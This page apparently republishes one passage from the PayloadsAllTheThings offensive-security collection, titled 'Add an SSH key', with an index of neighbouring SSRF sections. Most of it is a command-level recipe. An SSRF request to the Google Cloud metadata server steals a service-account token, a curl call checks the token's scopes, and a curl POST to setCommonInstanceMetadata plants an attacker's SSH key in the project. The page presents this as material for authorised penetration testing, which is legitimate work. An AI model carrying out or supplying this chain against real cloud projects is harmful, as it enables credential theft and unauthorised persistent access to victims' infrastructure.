Skip to content

Server Side Request Forgery · passage 42 of 53

SSRF-Cloud-Instances: Add an SSH key

3 code blocks · Server Side Request Forgery/SSRF-Cloud-Instances.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Open this passage on GitHub

Extract the token

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

Check the scope of the token

$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  

{ 
        "issued_to": "101302079XXXXX", 
        "audience": "10130207XXXXX", 
        "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", 
        "expires_in": 2443, 
        "access_type": "offline" 
}

Now push the SSH key.

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" 
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" 
-H "Content-Type: application/json" 
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

Source: Server Side Request Forgery/SSRF-Cloud-Instances.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Every one of the 53 is a mark on the map. Named now: 27 to 52, reading order first.

  1. SSRF-Advanced-Exploitation: SSRF Advanced Exploitation§ 27text · SSRF-Advanced-Exploitation.md
  2. SSRF-Advanced-Exploitation: DNS AXFR§ 282 code blocks · SSRF-Advanced-Exploitation.md
  3. SSRF-Advanced-Exploitation: FastCGI§ 291 code block · SSRF-Advanced-Exploitation.md
  4. SSRF-Advanced-Exploitation: Memcached§ 301 code block · SSRF-Advanced-Exploitation.md
  5. SSRF-Advanced-Exploitation: MySQL§ 311 code block · SSRF-Advanced-Exploitation.md
  6. SSRF-Advanced-Exploitation: Redis§ 321 code block · SSRF-Advanced-Exploitation.md
  7. SSRF-Advanced-Exploitation: SMTP§ 332 code blocks · SSRF-Advanced-Exploitation.md
  8. SSRF-Advanced-Exploitation: WSGI§ 341 code block · SSRF-Advanced-Exploitation.md
  9. SSRF-Advanced-Exploitation: Zabbix§ 351 code block · SSRF-Advanced-Exploitation.md
  10. SSRF-Cloud-Instances: SSRF URL for Cloud Instances§ 36text · SSRF-Cloud-Instances.md
  11. SSRF-Cloud-Instances: SSRF URL for AWS§ 373 code blocks · SSRF-Cloud-Instances.md
  12. SSRF-Cloud-Instances: SSRF URL for AWS ECS§ 381 code block · SSRF-Cloud-Instances.md
  13. SSRF-Cloud-Instances: SSRF URL for AWS Elastic Beanstalk§ 392 code blocks · SSRF-Cloud-Instances.md
  14. SSRF-Cloud-Instances: SSRF URL for AWS Lambda§ 401 code block · SSRF-Cloud-Instances.md
  15. SSRF-Cloud-Instances: SSRF URL for Google Cloud§ 414 code blocks · SSRF-Cloud-Instances.md
  16. SSRF-Cloud-Instances: Add an SSH key§ 423 code blocks · SSRF-Cloud-Instances.md
  17. SSRF-Cloud-Instances: SSRF URL for Digital Ocean§ 431 code block · SSRF-Cloud-Instances.md
  18. SSRF-Cloud-Instances: SSRF URL for Packetcloud§ 44text · SSRF-Cloud-Instances.md
  19. SSRF-Cloud-Instances: SSRF URL for Azure§ 452 code blocks · SSRF-Cloud-Instances.md
  20. SSRF-Cloud-Instances: SSRF URL for OpenStack/RackSpace§ 461 code block · SSRF-Cloud-Instances.md
  21. SSRF-Cloud-Instances: SSRF URL for HP Helion§ 471 code block · SSRF-Cloud-Instances.md
  22. SSRF-Cloud-Instances: SSRF URL for Oracle Cloud§ 481 code block · SSRF-Cloud-Instances.md
  23. SSRF-Cloud-Instances: SSRF URL for Alibaba§ 491 code block · SSRF-Cloud-Instances.md
  24. SSRF-Cloud-Instances: SSRF URL for Hetzner Cloud§ 501 code block · SSRF-Cloud-Instances.md
  25. SSRF-Cloud-Instances: SSRF URL for Kubernetes ETCD§ 511 code block · SSRF-Cloud-Instances.md
  26. SSRF-Cloud-Instances: SSRF URL for Docker§ 521 code block · SSRF-Cloud-Instances.md

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.